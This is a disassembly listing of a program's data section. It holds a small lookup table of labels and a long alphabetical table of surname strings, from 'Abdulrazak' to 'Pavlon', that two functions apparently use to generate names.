off_42DC88 dd offset sub_40ACB6 ; DATA XREF: sub_40B08E+49r
aConst db 'const',0
align 8
dd 1, 40AD23h, 7474656Ch, 7265h, 0
dd 2, 40AD81h, 706D6F63h, 2 dup(0)
dd 3, 40ADCEh, 6E756F63h, 797274h, 0
dd 4, 40AE6Ch, 736Fh, 2 dup(0)
dd 5, 40AEE1h
off_42DCF0 dd offset aAbdulrazak ; DATA XREF: sub_40ACB6+21r
; "Abdulrazak"
dd offset aAckerman ; "Ackerman"
dd offset aAdams ; "Adams"
off_42DCFC dd offset aAddison ; DATA XREF: sub_40B08E+39o
; "Addison"
dd offset aAdelstein ; "Adelstein"
dd offset aAdibe ; "Adibe"
dd offset aAdorno ; "Adorno"
dd offset aAhlers ; "Ahlers"
dd offset aAlavi ; "Alavi"
dd offset aAlcorn ; "Alcorn"
dd offset aAlda ; "Alda"
dd offset aAleks ; "Aleks"
dd offset aAllison ; "Allison"
dd offset aAlongi ; "Alongi"
dd offset aAltavilla ; "Altavilla"
dd offset aAltenberger ; "Altenberger"
dd offset aAltenhofen ; "Altenhofen"
dd offset aAmaral ; "Amaral"
dd offset aAmatangelo ; "Amatangelo"
dd offset aAmeer ; "Ameer"
dd offset aAmsden ; "Amsden"
dd offset aAnand ; "Anand"
dd offset aAndel ; "Andel"
dd offset aAndo ; "Ando"
dd offset aAndrelus ; "Andrelus"
dd offset aAndron ; "Andron"
dd offset aAnfinrud ; "Anfinrud"
dd offset aAnsley ; "Ansley"
dd offset aAnthony ; "Anthony"
dd offset aAntos ; "Antos"
dd offset aArbia ; "Arbia"
dd offset aArduini ; "Arduini"
dd offset aArellano ; "Arellano"
dd offset aAristotle ; "Aristotle"
dd offset aArjas ; "Arjas"
dd offset aArky ; "Arky"
dd offset aAtkins ; "Atkins"
dd offset aAugustus ; "Augustus"
dd offset aAurelius ; "Aurelius"
dd offset aAxelrod ; "Axelrod"
dd offset aAxworthy ; "Axworthy"
dd offset aAyiemba ; "Ayiemba"
dd offset aAykroyd ; "Aykroyd"
dd offset aAyling ; "Ayling"
dd offset aAzima ; "Azima"
dd offset aBachmuth ; "Bachmuth"
dd offset aBackus ; "Backus"
dd offset aBady ; "Bady"
dd offset aBaglivo ; "Baglivo"
dd offset aBagnold ; "Bagnold"
dd offset aBailar ; "Bailar"
dd offset aBakanowsky ; "Bakanowsky"
dd offset aBaleja ; "Baleja"
dd offset aBallatori ; "Ballatori"
dd offset aBallew ; "Ballew"
dd offset aBaltz ; "Baltz"
dd offset aBanta ; "Banta"
dd offset aBarabesi ; "Barabesi"
dd offset aBarajas ; "Barajas"
dd offset aBaranczak ; "Baranczak"
dd offset aBaranowska ; "Baranowska"
dd offset aBarberi ; "Barberi"
dd offset aBarbetti ; "Barbetti"
dd offset aBarneson ; "Barneson"
dd offset aBarnett ; "Barnett"
dd offset aBarriola ; "Barriola"
dd offset aBarry ; "Barry"
dd offset aBartholomew ; "Bartholomew"
dd offset aBartolome ; "Bartolome"
dd offset aBartoo ; "Bartoo"
dd offset aBasavappa ; "Basavappa"
dd offset aBashevis ; "Bashevis"
dd offset aBatchelder ; "Batchelder"
dd offset aBaumiller ; "Baumiller"
dd offset aBayles ; "Bayles"
dd offset aBayo ; "Bayo"
dd offset aBeacon ; "Beacon"
dd offset aBeal ; "Beal"
dd offset aBean ; "Bean"
dd offset aBeckman ; "Beckman"
dd offset aBeder ; "Beder"
dd offset aBedford ; "Bedford"
dd offset aBehenna ; "Behenna"
dd offset aBelanger ; "Belanger"
dd offset aBelaoussof ; "Belaoussof"
dd offset aBelfer ; "Belfer"
dd offset aBelinCollart ; "Belin-Collart"
dd offset aBellavance ; "Bellavance"
dd offset aBellhouse ; "Bellhouse"
dd offset aBellini ; "Bellini"
dd offset aBelloc ; "Belloc"
dd offset aBenedictDye ; "Benedict-Dye"
dd offset aBergson ; "Bergson"
dd offset aBerkeJenkins ; "Berke-Jenkins"
dd offset aBernardo ; "Bernardo"
dd offset aBernassola ; "Bernassola"
dd offset aBernston ; "Bernston"
dd offset aBerrizbeitia ; "Berrizbeitia"
dd offset aBetti ; "Betti"
dd offset aBeynart ; "Beynart"
dd offset aBiagioli ; "Biagioli"
dd offset aBickel ; "Bickel"
dd offset aBinion ; "Binion"
dd offset aBir ; "Bir"
dd offset aBisema ; "Bisema"
dd offset aBisho ; "Bisho"
dd offset aBlackbourn ; "Blackbourn"
dd offset aBlackwell ; "Blackwell"
dd offset aBlagg ; "Blagg"
dd offset aBlakemore ; "Blakemore"
dd offset aBlanke ; "Blanke"
dd offset aBliss ; "Bliss"
dd offset aBlizard ; "Blizard"
dd offset aBloch ; "Bloch"
dd offset aBloembergen ; "Bloembergen"
dd offset aBloemhof ; "Bloemhof"
dd offset aBloxham ; "Bloxham"
dd offset aBlyth ; "Blyth"
dd offset aBolger ; "Bolger"
dd offset aBolick ; "Bolick"
dd offset aBollinger ; "Bollinger"
dd offset aBologna ; "Bologna"
dd offset aBoner ; "Boner"
dd offset aBonham ; "Bonham"
dd offset aBoniface ; "Boniface"
dd offset aBontempo ; "Bontempo"
dd offset aBook ; "Book"
dd offset aBookbinder ; "Bookbinder"
dd offset aBoone ; "Boone"
dd offset aBoorstin ; "Boorstin"
dd offset aBorack ; "Borack"
dd offset aBorden ; "Borden"
dd offset aBossi ; "Bossi"
dd offset aBothman ; "Bothman"
dd offset aBotosh ; "Botosh"
dd offset aBoudin ; "Boudin"
dd offset aBoudrot ; "Boudrot"
dd offset aBourneuf ; "Bourneuf"
dd offset aBowers ; "Bowers"
dd offset aBoxer ; "Boxer"
dd offset aBoyajian ; "Boyajian"
dd offset aBoyes ; "Boyes"
dd offset aBoyland ; "Boyland"
dd offset aBoym ; "Boym"
dd offset aBoyne ; "Boyne"
dd offset aBracalente ; "Bracalente"
dd offset aBradac ; "Bradac"
dd offset aBradach ; "Bradach"
dd offset aBrecht ; "Brecht"
dd offset aBreed ; "Breed"
dd offset aBrenan ; "Brenan"
dd offset aBrennan ; "Brennan"
dd offset aBrewer ; "Brewer"
dd offset aBrewer ; "Brewer"
dd offset aBridgeman ; "Bridgeman"
dd offset aBridges ; "Bridges"
dd offset aBrinton ; "Brinton"
dd offset aBritz ; "Britz"
dd offset aBroca ; "Broca"
dd offset aBrook ; "Brook"
dd offset aBrzycki ; "Brzycki"
dd offset aBuchan ; "Buchan"
dd offset aBudding ; "Budding"
dd offset aBullard ; "Bullard"
dd offset aBunton ; "Bunton"
dd offset aBurden ; "Burden"
dd offset aBurdzy ; "Burdzy"
dd offset aBurke ; "Burke"
dd offset aBurridge ; "Burridge"
dd offset aBusetta ; "Busetta"
dd offset aByatt ; "Byatt"
dd offset aByerly ; "Byerly"
dd offset aByrd ; "Byrd"
dd offset aCage ; "Cage"
dd offset aCalnan ; "Calnan"
dd offset aCammelli ; "Cammelli"
dd offset aCammilleri ; "Cammilleri"
dd offset aCanley ; "Canley"
dd offset aCapanni ; "Capanni"
dd offset aCaperton ; "Caperton"
dd offset aCapocaccia ; "Capocaccia"
dd offset aCapodilupo ; "Capodilupo"
dd offset aCappuccio ; "Cappuccio"
dd offset aCapursi ; "Capursi"
dd offset aCaratozzolo ; "Caratozzolo"
dd offset aCarayannopoulo ; "Carayannopoulos"
dd offset aCarlin ; "Carlin"
dd offset aCarlos ; "Carlos"
dd offset aCarlyle ; "Carlyle"
dd offset aCarmichael ; "Carmichael"
dd offset aCaroti ; "Caroti"
dd offset aCarper ; "Carper"
dd offset aCartmill ; "Cartmill"
dd offset aCascio ; "Cascio"
dd offset aCase ; "Case"
dd offset aCaspar ; "Caspar"
dd offset aCastelda ; "Castelda"
dd offset aCavanagh ; "Cavanagh"
dd offset aCavell ; "Cavell"
dd offset aCeniceros ; "Ceniceros"
dd offset aCerioli ; "Cerioli"
dd offset aChapman ; "Chapman"
dd offset aCharles ; "Charles"
dd offset aCheang ; "Cheang"
dd offset aCherry ; "Cherry"
dd offset aChervinsky ; "Chervinsky"
dd offset aChiassino ; "Chiassino"
dd offset aChien ; "Chien"
dd offset aChildress ; "Childress"
dd offset aChilds ; "Childs"
dd offset aChinipardaz ; "Chinipardaz"
dd offset aChinman ; "Chinman"
dd offset aChristenson ; "Christenson"
dd offset aChristian ; "Christian"
dd offset aChristiano ; "Christiano"
dd offset aChristie ; "Christie"
dd offset aChristopher ; "Christopher"
dd offset aChu ; "Chu"
dd offset aChupasko ; "Chupasko"
dd offset aChurch ; "Church"
dd offset aCiampaglia ; "Ciampaglia"
dd offset aCicero ; "Cicero"
dd offset aCifarelli ; "Cifarelli"
dd offset aClaffey ; "Claffey"
dd offset aClancy ; "Clancy"
dd offset aClark ; "Clark"
dd offset aClement ; "Clement"
dd offset aClifton ; "Clifton"
dd offset aClow ; "Clow"
dd offset aCoblenz ; "Coblenz"
dd offset aCoito ; "Coito"
dd offset aColdren ; "Coldren"
dd offset aColella ; "Colella"
dd offset aCollard ; "Collard"
dd offset aCollis ; "Collis"
dd offset aCompton ; "Compton"
dd offset aCompton ; "Compton"
dd offset aComstock ; "Comstock"
dd offset aConcino ; "Concino"
dd offset aCondodina ; "Condodina"
dd offset aConnors ; "Connors"
dd offset aCorey ; "Corey"
dd offset aCornish ; "Cornish"
dd offset aCosmides ; "Cosmides"
dd offset aCounter ; "Counter"
dd offset aCoutaux ; "Coutaux"
dd offset aCrawford ; "Crawford"
dd offset aCrocker ; "Crocker"
dd offset aCroshaw ; "Croshaw"
dd offset aCroxen ; "Croxen"
dd offset aCroxton ; "Croxton"
dd offset aCui ; "Cui"
dd offset aCurrier ; "Currier"
dd offset aCutler ; "Cutler"
dd offset aCvek ; "Cvek"
dd offset aCyders ; "Cyders"
dd offset aDasilva ; "daSilva"
dd offset aDaldalian ; "Daldalian"
dd offset aDaly ; "Daly"
dd offset aDAmbra ; "D'Ambra"
dd offset aDanieli ; "Danieli"
dd offset aDante ; "Dante"
dd offset aDapice ; "Dapice"
dd offset aDArcangelo ; "D'arcangelo"
dd offset aDas ; "Das"
dd offset aDasgupta ; "Dasgupta"
dd offset aDaskalu ; "Daskalu"
dd offset aDavid ; "David"
dd offset aDawkins ; "Dawkins"
dd offset aDegennaro ; "DeGennaro"
dd offset aDelapena ; "DeLaPena"
dd offset aDelEnclos ; "del'Enclos"
dd offset aDerousse ; "deRousse"
dd offset aDebroff ; "Debroff"
dd offset aDees ; "Dees"
dd offset aDefeciani ; "Defeciani"
dd offset aDelattre ; "Delattre"
dd offset aDeleonRendon ; "Deleon-Rendon"
dd offset aDelger ; "Delger"
dd offset aDellAcqua ; "Dell'acqua"
dd offset aDeming ; "Deming"
dd offset aDempster ; "Dempster"
dd offset aDemusz ; "Demusz"
dd offset aDenault ; "Denault"
dd offset aDenham ; "Denham"
dd offset aDenison ; "Denison"
dd offset aDesombre ; "Desombre"
dd offset aDeutsch ; "Deutsch"
dd offset aDFini ; "D'fini"
dd offset aDicks ; "Dicks"
dd offset aDiefenbach ; "Diefenbach"
dd offset aDifabio ; "Difabio"
dd offset aDifronzo ; "Difronzo"
dd offset aDilworth ; "Dilworth"
dd offset aDionysius ; "Dionysius"
dd offset aDirksen ; "Dirksen"
dd offset aDockery ; "Dockery"
dd offset aDoherty ; "Doherty"
dd offset aDonahue ; "Donahue"
dd offset aDonner ; "Donner"
dd offset aDoonan ; "Doonan"
dd offset aDore ; "Dore"
dd offset aDorf ; "Dorf"
dd offset aDosi ; "Dosi"
dd offset aDoty ; "Doty"
dd offset aDoug ; "Doug"
dd offset aDowsland ; "Dowsland"
dd offset aDrinker ; "Drinker"
dd offset aDSouza ; "D'souza"
dd offset aDuffin ; "Duffin"
dd offset aDurrett ; "Durrett"
dd offset aDussault ; "Dussault"
dd offset aDwyer ; "Dwyer"
dd offset aEardley ; "Eardley"
dd offset aEbeling ; "Ebeling"
dd offset aEckel ; "Eckel"
dd offset aEdley ; "Edley"
dd offset aEdner ; "Edner"
dd offset aEdward ; "Edward"
dd offset aEickenhorst ; "Eickenhorst"
dd offset aEliasson ; "Eliasson"
dd offset aElmendorf ; "Elmendorf"
dd offset aElmerick ; "Elmerick"
dd offset aElvis ; "Elvis"
dd offset aEncinas ; "Encinas"
dd offset aEnyeart ; "Enyeart"
dd offset aEppling ; "Eppling"
dd offset aErbach ; "Erbach"
dd offset aErdman ; "Erdman"
dd offset aErdos ; "Erdos"
dd offset aErez ; "Erez"
dd offset aEspinoza ; "Espinoza"
dd offset aEstes ; "Estes"
dd offset aEtter ; "Etter"
dd offset aEuripides ; "Euripides"
dd offset aEverett ; "Everett"
dd offset aFabbris ; "Fabbris"
dd offset aFagan ; "Fagan"
dd offset aFaioes ; "Faioes"
dd offset aFalcoAcosta ; "Falco-Acosta"
dd offset aFalorsi ; "Falorsi"
dd offset aFaris ; "Faris"
dd offset aFarone ; "Farone"
dd offset aFarren ; "Farren"
dd offset aFasso ; "Fasso'"
dd offset aFates ; "Fates"
dd offset aFeigenbaum ; "Feigenbaum"
dd offset aFejzo ; "Fejzo"
dd offset aFeldman ; "Feldman"
dd offset aFernald ; "Fernald"
dd offset aFernandes ; "Fernandes"
dd offset aFerrante ; "Ferrante"
dd offset aFerriell ; "Ferriell"
dd offset aFeuer ; "Feuer"
dd offset aFido ; "Fido"
dd offset aField ; "Field"
dd offset aFink ; "Fink"
dd offset aFinkelstein ; "Finkelstein"
dd offset aFinnegan ; "Finnegan"
dd offset aFiorina ; "Fiorina"
dd offset aFisk ; "Fisk"
dd offset aFitzmaurice ; "Fitzmaurice"
dd offset aFlier ; "Flier"
dd offset aFlores ; "Flores"
dd offset aFolks ; "Folks"
dd offset aForester ; "Forester"
dd offset aFortes ; "Fortes"
dd offset aFortier ; "Fortier"
dd offset aFossey ; "Fossey"
dd offset aFossi ; "Fossi"
dd offset aFrancisco ; "Francisco"
dd offset aFranklinKenea ; "Franklin-Kenea"
dd offset aFranz ; "Franz"
dd offset aFrazierDavis ; "Frazier-Davis"
dd offset aFreid ; "Freid"
dd offset aFreundlich ; "Freundlich"
dd offset aFried ; "Fried"
dd offset aFriedland ; "Friedland"
dd offset aFrisken ; "Frisken"
dd offset aFrowiss ; "Frowiss"
dd offset aFryberger ; "Fryberger"
dd offset aFrye ; "Frye"
dd offset aFujiiAbe ; "Fujii-Abe"
dd offset aFuller ; "Fuller"
dd offset aFurth ; "Furth"
dd offset aFusaro ; "Fusaro"
dd offset aGabrielli ; "Gabrielli"
dd offset aGaggiotti ; "Gaggiotti"
dd offset aGaleotti ; "Galeotti"
dd offset aGalwey ; "Galwey"
dd offset aGambini ; "Gambini"
dd offset aGarfield ; "Garfield"
dd offset aGarman ; "Garman"
dd offset aGaronna ; "Garonna"
dd offset aGeller ; "Geller"
dd offset aGemberling ; "Gemberling"
dd offset aGeorgi ; "Georgi"
dd offset aGerrett ; "Gerrett"
dd offset aGhorai ; "Ghorai"
dd offset aGibbens ; "Gibbens"
dd offset aGibson ; "Gibson"
dd offset aGilbert ; "Gilbert"
dd offset aGili ; "Gili"
dd offset aGill ; "Gill"
dd offset aGillispie ; "Gillispie"
dd offset aGist ; "Gist"
dd offset aGleason ; "Gleason"
dd offset aGlegg ; "Glegg"
dd offset aGlendon ; "Glendon"
dd offset aGoldfarb ; "Goldfarb"
dd offset aGoncalves ; "Goncalves"
dd offset aGood ; "Good"
dd offset aGoodearl ; "Goodearl"
dd offset aGoody ; "Goody"
dd offset aGozzi ; "Gozzi"
dd offset aGravell ; "Gravell"
dd offset aGreenberg ; "Greenberg"
dd offset aGreenfeld ; "Greenfeld"
dd offset aGriffiths ; "Griffiths"
dd offset aGrigoletto ; "Grigoletto"
dd offset aGrummell ; "Grummell"
dd offset aGruner ; "Gruner"
dd offset aGruppe ; "Gruppe"
dd offset aGuenthart ; "Guenthart"
dd offset aGunn ; "Gunn"
dd offset aGuo ; "Guo"
dd offset aHa ; "Ha"
dd offset aHaar ; "Haar"
dd offset aHackman ; "Hackman"
dd offset aHackshaw ; "Hackshaw"
dd offset aHaley ; "Haley"
dd offset aHalkias ; "Halkias"
dd offset aHallowell ; "Hallowell"
dd offset aHalpert ; "Halpert"
dd offset aHambarzumjan ; "Hambarzumjan"
dd offset aHamer ; "Hamer"
dd offset aHammerness ; "Hammerness"
dd offset aHand ; "Hand"
dd offset aHanssen ; "Hanssen"
dd offset aHarding ; "Harding"
dd offset aHargraves ; "Hargraves"
dd offset aHarlow ; "Harlow"
dd offset aHarrigan ; "Harrigan"
dd offset aHartman ; "Hartman"
dd offset aHartmann ; "Hartmann"
dd offset aHartnett ; "Hartnett"
dd offset aHarwell ; "Harwell"
dd offset aHaviaras ; "Haviaras"
dd offset aHawkes ; "Hawkes"
dd offset aHayes ; "Hayes"
dd offset aHaynes ; "Haynes"
dd offset aHazlewood ; "Hazlewood"
dd offset aHeermans ; "Heermans"
dd offset aHeft ; "Heft"
dd offset aHeiland ; "Heiland"
dd offset aHellman ; "Hellman"
dd offset aHellmiss ; "Hellmiss"
dd offset aHelprin ; "Helprin"
dd offset aHemphill ; "Hemphill"
dd offset aHenery ; "Henery"
dd offset aHenrichs ; "Henrichs"
dd offset aHernandez ; "Hernandez"
dd offset aHerrera ; "Herrera"
dd offset aHester ; "Hester"
dd offset aHeubert ; "Heubert"
dd offset aHeyeck ; "Heyeck"
dd offset aHimmelfarb ; "Himmelfarb"
dd offset aHind ; "Hind"
dd offset aHirst ; "Hirst"
dd offset aHitchcock ; "Hitchcock"
dd offset aHoang ; "Hoang"
dd offset aHock ; "Hock"
dd offset aHoffer ; "Hoffer"
dd offset aHoffman ; "Hoffman"
dd offset aHokanson ; "Hokanson"
dd offset aHokoda ; "Hokoda"
dd offset aHolmes ; "Holmes"
dd offset aHoloien ; "Holoien"
dd offset aHolter ; "Holter"
dd offset aHolway ; "Holway"
dd offset aHolzman ; "Holzman"
dd offset aHooker ; "Hooker"
dd offset aHopkins ; "Hopkins"
dd offset aHorsley ; "Horsley"
dd offset aHoshida ; "Hoshida"
dd offset aHostage ; "Hostage"
dd offset aHottle ; "Hottle"
dd offset aHoward ; "Howard"
dd offset aHoy ; "Hoy"
dd offset aHuey ; "Huey"
dd offset aHuidekoper ; "Huidekoper"
dd offset aHungerford ; "Hungerford"
dd offset aHuntington ; "Huntington"
dd offset aHupp ; "Hupp"
dd offset aHurtubise ; "Hurtubise"
dd offset aHutchings ; "Hutchings"
dd offset aHyde ; "Hyde"
dd offset aIaquinta ; "Iaquinta"
dd offset aIchikawa ; "Ichikawa"
dd offset aIgarashi ; "Igarashi"
dd offset aInamura ; "Inamura"
dd offset aInniss ; "Inniss"
dd offset aIsaac ; "Isaac"
dd offset aIsaievych ; "Isaievych"
dd offset aIsbill ; "Isbill"
dd offset aIsserman ; "Isserman"
dd offset aIyer ; "Iyer"
dd offset aJacenko ; "Jacenko"
dd offset aJackson ; "Jackson"
dd offset aJagers ; "Jagers"
dd offset aJagger ; "Jagger"
dd offset aJagoe ; "Jagoe"
dd offset aJain ; "Jain"
dd offset aJamil ; "Jamil"
dd offset aJanjigian ; "Janjigian"
dd offset aJarnagin ; "Jarnagin"
dd offset aJarrell ; "Jarrell"
dd offset aJay ; "Jay"
dd offset aJeffers ; "Jeffers"
dd offset aJellis ; "Jellis"
dd offset aJenkins ; "Jenkins"
dd offset aJespersen ; "Jespersen"
dd offset aJewett ; "Jewett"
dd offset aJohannesson ; "Johannesson"
dd offset aJohannsen ; "Johannsen"
dd offset aJohns ; "Johns"
dd offset aJolly ; "Jolly"
dd offset aJorgensen ; "Jorgensen"
dd offset aJucks ; "Jucks"
dd offset aJuliano ; "Juliano"
dd offset aJulious ; "Julious"
dd offset aKabbash ; "Kabbash"
dd offset aKaboolian ; "Kaboolian"
dd offset aKafadar ; "Kafadar"
dd offset aKalbfleisch ; "Kalbfleisch"
dd offset aKaligian ; "Kaligian"
dd offset aKalil ; "Kalil"
dd offset aKalinowski ; "Kalinowski"
dd offset aKalman ; "Kalman"
dd offset aKamel ; "Kamel"
dd offset aKangis ; "Kangis"
dd offset aKarpouzes ; "Karpouzes"
dd offset aKassower ; "Kassower"
dd offset aKasten ; "Kasten"
dd offset aKawachi ; "Kawachi"
dd offset aKee ; "Kee"
dd offset aKeenan ; "Keenan"
dd offset aKeepper ; "Keepper"
dd offset aKeith ; "Keith"
dd offset aKelker ; "Kelker"
dd offset aKelsey ; "Kelsey"
dd offset aKempton ; "Kempton"
dd offset aKemsley ; "Kemsley"
dd offset aKendall ; "Kendall"
dd offset aKerry ; "Kerry"
dd offset aKeul ; "Keul"
dd offset aKhong ; "Khong"
dd offset aKimmel ; "Kimmel"
dd offset aKimmett ; "Kimmett"
dd offset aKimura ; "Kimura"
dd offset aKindall ; "Kindall"
dd offset aKinsley ; "Kinsley"
dd offset aKippenberger ; "Kippenberger"
dd offset aKirscht ; "Kirscht"
dd offset aKittridge ; "Kittridge"
dd offset aKleckner ; "Kleckner"
dd offset aKleiman ; "Kleiman"
dd offset aKleinfelder ; "Kleinfelder"
dd offset aKlemperer ; "Klemperer"
dd offset aKling ; "Kling"
dd offset aKlinkenborg ; "Klinkenborg"
dd offset aKlint ; "Klint"
dd offset aKnuff ; "Knuff"
dd offset aKobrick ; "Kobrick"
dd offset aKoch ; "Koch"
dd offset aKohn ; "Kohn"
dd offset aKoivumaki ; "Koivumaki"
dd offset aKommer ; "Kommer"
dd offset aKoniaris ; "Koniaris"
dd offset aKonrad ; "Konrad"
dd offset aKool ; "Kool"
dd offset aKorzybski ; "Korzybski"
dd offset aKotter ; "Kotter"
dd offset aKovaks ; "Kovaks"
dd offset aKraemer ; "Kraemer"
dd offset aKrailo ; "Krailo"
dd offset aKrasney ; "Krasney"
dd offset aKraus ; "Kraus"
dd offset aKroemer ; "Kroemer"
dd offset aKrysiak ; "Krysiak"
dd offset aKuenzli ; "Kuenzli"
dd offset aKumar ; "Kumar"
dd offset aKusman ; "Kusman"
dd offset aKuwabara ; "Kuwabara"
dd offset aLa ; "La"
dd offset aLabunka ; "Labunka"
dd offset aLafler ; "Lafler"
dd offset aLaing ; "Laing"
dd offset aLallemant ; "Lallemant"
dd offset aLandes ; "Landes"
dd offset aLankes ; "Lankes"
dd offset aLantieri ; "Lantieri"
dd offset aLanzit ; "Lanzit"
dd offset aLaserna ; "Laserna"
dd offset aLashley ; "Lashley"
dd offset aLawless ; "Lawless"
dd offset aLecar ; "Lecar"
dd offset aLecce ; "Lecce"
dd offset aLeclercq ; "Leclercq"
dd offset aLeite ; "Leite"
dd offset aLenard ; "Lenard"
dd offset aLEnclos ; "l'Enclos"
dd offset aLesser ; "Lesser"
dd offset aLessi ; "Lessi"
dd offset aLiakos ; "Liakos"
dd offset aLidano ; "Lidano"
dd offset aLiem ; "Liem"
dd offset aLight ; "Light"
dd offset aLightfoot ; "Lightfoot"
dd offset aLim ; "Lim"
dd offset aLinares ; "Linares"
dd offset aLinda ; "Linda"
dd offset aLinder ; "Linder"
dd offset aLine ; "Line"
dd offset aLinehan ; "Linehan"
dd offset aLinzee ; "Linzee"
dd offset aLippmann ; "Lippmann"
dd offset aLipponen ; "Lipponen"
dd offset aLittle ; "Little"
dd offset aLitvak ; "Litvak"
dd offset aLivernash ; "Livernash"
dd offset aLivi ; "Livi"
dd offset aLivolsi ; "Livolsi"
dd offset aLizardo ; "Lizardo"
dd offset aLocatelli ; "Locatelli"
dd offset aLongworth ; "Longworth"
dd offset aLoss ; "Loss"
dd offset aLoveman ; "Loveman"
dd offset aLowenstein ; "Lowenstein"
dd offset aLoza ; "Loza"
dd offset aLubin ; "Lubin"
dd offset aLucas ; "Lucas"
dd offset aLuciano ; "Luciano"
dd offset aLuczkow ; "Luczkow"
dd offset aLuecke ; "Luecke"
dd offset aLunetta ; "Lunetta"
dd offset aLuoma ; "Luoma"
dd offset aLussier ; "Lussier"
dd offset aLutcavage ; "Lutcavage"
dd offset aLuzader ; "Luzader"
dd offset aMa ; "Ma"
dd offset aMaccormac ; "Maccormac"
dd offset aMacdonald ; "Macdonald"
dd offset aMaceachern ; "Maceachern"
dd offset aMacintyre ; "Macintyre"
dd offset aMackenney ; "Mackenney"
dd offset aMacmillan ; "MacMillan"
dd offset aMacy ; "Macy"
dd offset aMadigan ; "Madigan"
dd offset aMaggio ; "Maggio"
dd offset aMahony ; "Mahony"
dd offset aMaier ; "Maier"
dd offset aMaineHershey ; "Maine-Hershey"
dd offset aMaisano ; "Maisano"
dd offset aMalatesta ; "Malatesta"
dd offset aMaller ; "Maller"
dd offset aMalova ; "Malova"
dd offset aManalis ; "Manalis"
dd offset aMandel ; "Mandel"
dd offset aManganiello ; "Manganiello"
dd offset aMantovan ; "Mantovan"
dd offset aMarch ; "March"
dd offset aMarchbanks ; "Marchbanks"
dd offset aMarcus ; "Marcus"
dd offset aMargalit ; "Margalit"
dd offset aMargetts ; "Margetts"
dd offset aMarques ; "Marques"
dd offset aMartinez ; "Martinez"
dd offset aMartochio ; "Martochio"
dd offset aMarton ; "Marton"
dd offset aMarubini ; "Marubini"
dd offset aMass ; "Mass"
dd offset aMatalka ; "Matalka"
dd offset aMatarazzo ; "Matarazzo"
dd offset aMatsukata ; "Matsukata"
dd offset aMattson ; "Mattson"
dd offset aMauzy ; "Mauzy"
dd offset aMay ; "May"
dd offset aMazzali ; "Mazzali"
dd offset aMazziotta ; "Mazziotta"
dd offset aMcbride ; "Mcbride"
dd offset aMccaffery ; "Mccaffery"
dd offset aMccall ; "Mccall"
dd offset aMcclearn ; "Mcclearn"
dd offset aMcdowell ; "Mcdowell"
dd offset aMcelroy ; "Mcelroy"
dd offset aMcfadden ; "McFadden"
dd offset aMcghee ; "Mcghee"
dd offset aMcgoldrick ; "Mcgoldrick"
dd offset aMcilroy ; "McIlroy"
dd offset aMcintosh ; "Mcintosh"
dd offset aMckenna ; "Mckenna"
dd offset aMclane ; "Mclane"
dd offset aMclaren ; "Mclaren"
dd offset aMcnealy ; "Mcnealy"
dd offset aMcnulty ; "Mcnulty"
dd offset aMeccariello ; "Meccariello"
dd offset aMemisoglu ; "Memisoglu"
dd offset aMenzies ; "Menzies"
dd offset aMerikoski ; "Merikoski"
dd offset aMerlani ; "Merlani"
dd offset aMerminod ; "Merminod"
dd offset aMerseth ; "Merseth"
dd offset aMerz ; "Merz"
dd offset aMetelka ; "Metelka"
dd offset aMetropolis ; "Metropolis"
dd offset aMeurer ; "Meurer"
dd offset aMichelman ; "Michelman"
dd offset aMiddle ; "Middle"
dd offset aMieher ; "Mieher"
dd offset aMills ; "Mills"
dd offset aMinh ; "Minh"
dd offset aMini ; "Mini"
dd offset aMinichiello ; "Minichiello"
dd offset aGonzalez ; "Gonzalez"
dd offset aMitropoulos ; "Mitropoulos"
dd offset aMittal ; "Mittal"
dd offset aMocroft ; "Mocroft"
dd offset aModestino ; "Modestino"
dd offset aMoeller ; "Moeller"
dd offset aMohr ; "Mohr"
dd offset aMoiamedi ; "Moiamedi"
dd offset aMonque ; "Monque"
dd offset aMontilio ; "Montilio"
dd offset aMooredech_ ; "MooreDeCh."
dd offset aMorani ; "Morani"
dd offset aMoreton ; "Moreton"
dd offset aMorrison ; "Morrison"
dd offset aMorrow ; "Morrow"
dd offset aMortimer ; "Mortimer"
dd offset aMosher ; "Mosher"
dd offset aMosler ; "Mosler"
dd offset aMostafavi ; "Mostafavi"
dd offset aMotooka ; "Motooka"
dd offset aMudarri ; "Mudarri"
dd offset aMuello ; "Muello"
dd offset aMugnai ; "Mugnai"
dd offset aMulkern ; "Mulkern"
dd offset aMulroy ; "Mulroy"
dd offset aMumford ; "Mumford"
dd offset aMussachio ; "Mussachio"
dd offset aNaddeo ; "Naddeo"
dd offset aNapolitano ; "Napolitano"
dd offset aNardi ; "Nardi"
dd offset aNardone ; "Nardone"
dd offset aNaviaux ; "Naviaux"
dd offset aNayduch ; "Nayduch"
dd offset aNelson ; "Nelson"
dd offset aNenna ; "Nenna"
dd offset aNesci ; "Nesci"
dd offset aNeuman ; "Neuman"
dd offset aNewfeld ; "Newfeld"
dd offset aNewlin ; "Newlin"
dd offset aNg ; "Ng"
dd offset aNi_0 ; "Ni"
dd offset aNickerson ; "Nickerson"
dd offset aNickoloff ; "Nickoloff"
dd offset aNisenson ; "Nisenson"
dd offset aNitabach ; "Nitabach"
dd offset aNotman ; "Notman"
dd offset aNuzum ; "Nuzum"
dd offset aOcougne ; "Ocougne"
dd offset aOgata ; "Ogata"
dd offset aOh ; "Oh"
dd offset aOHagan ; "O'hagan"
dd offset aOldford ; "Oldford"
dd offset aOlsen ; "Olsen"
dd offset aOlson ; "Olson"
dd offset aOlszewski ; "Olszewski"
dd offset aOMalley ; "O'malley"
dd offset aOman ; "Oman"
dd offset aOMeara ; "O'meara"
dd offset aOpel ; "Opel"
dd offset aOray ; "Oray"
dd offset aOrfield ; "Orfield"
dd offset aOrsi ; "Orsi"
dd offset aOspina ; "Ospina"
dd offset aOstrowski ; "Ostrowski"
dd offset aOttaviani ; "Ottaviani"
dd offset aOtten ; "Otten"
dd offset aOuchida ; "Ouchida"
dd offset aOvid ; "Ovid"
dd offset aPaesdealmeida ; "PaesDealmeida"
dd offset aPaine ; "Paine"
dd offset aPalayoor ; "Palayoor"
dd offset aPalepu ; "Palepu"
dd offset aPallara ; "Pallara"
dd offset aPalmitesta ; "Palmitesta"
dd offset aPanadero ; "Panadero"
dd offset aPanizzon ; "Panizzon"
dd offset aPantilla ; "Pantilla"
dd offset aPaoletti ; "Paoletti"
dd offset aParmeggiani ; "Parmeggiani"
dd offset aParris ; "Parris"
dd offset aPartridge ; "Partridge"
dd offset aPascucci ; "Pascucci"
dd offset aPatefield ; "Patefield"
dd offset aPatrick ; "Patrick"
dd offset aPattullo ; "Pattullo"
dd offset aPavetti ; "Pavetti"
dd offset aPavlon ; "Pavlon"
